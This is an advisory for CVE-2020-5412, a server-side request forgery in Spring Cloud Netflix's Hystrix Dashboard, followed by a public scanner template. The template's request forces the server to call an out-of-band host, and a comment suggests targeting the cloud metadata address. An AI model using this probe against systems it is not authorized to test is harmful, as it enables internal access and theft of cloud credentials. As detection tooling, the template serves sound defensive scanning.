Spring Cloud Netflix 2.2.x prior to 2.2.4, 2.1.x prior to 2.1.6, and older unsupported versions are susceptible to server-side request forgery. Applications can use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. An attacker can send a request to other servers and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
PoC代码[已公开]
id: CVE-2020-5412
info:
name: Spring Cloud Netflix - Server-Side Request Forgery
author: dwisiswant0
severity: medium
description: Spring Cloud Netflix 2.2.x prior to 2.2.4, 2.1.x prior to 2.1.6, and older unsupported versions are susceptible to server-side request forgery. Applications can use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. An attacker can send a request to other servers and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
impact: |
The vulnerability can result in unauthorized access to sensitive data or systems, leading to potential data breaches or further exploitation.
remediation: |
Apply the latest security patches or updates provided by Spring Cloud Netflix to mitigate the vulnerability.
reference:
- https://tanzu.vmware.com/security/cve-2020-5412
- https://nvd.nist.gov/vuln/detail/CVE-2020-5412
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Elsfa7-110/kenzer-templates
- https://github.com/pen4uin/awesome-vulnerability-research
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2020-5412
cwe-id: CWE-610,CWE-441
epss-score: 0.91356
epss-percentile: 0.99648
cpe: cpe:2.3:a:vmware:spring_cloud_netflix:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: vmware
product: spring_cloud_netflix
tags: cve,cve2020,ssrf,springcloud,vmware
http:
- method: GET
path:
- "{{BaseURL}}/proxy.stream?origin=http://{{interactsh-url}}"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: header
words:
- "Jelly"
- type: status
status:
- 200
# To get crithit, try http://169.254.169.254/latest/metadata/
# digest: 4a0a00473045022100d325425e5698097f1107330689b1a9db04e3d77752a6bbd351b6fb55ad0739cc022076d6efdcc9cee1f32fd1beabc748193cab2dab4beab68b2e22c248807ce13075:922c64590222798bb761d5b6d8e72950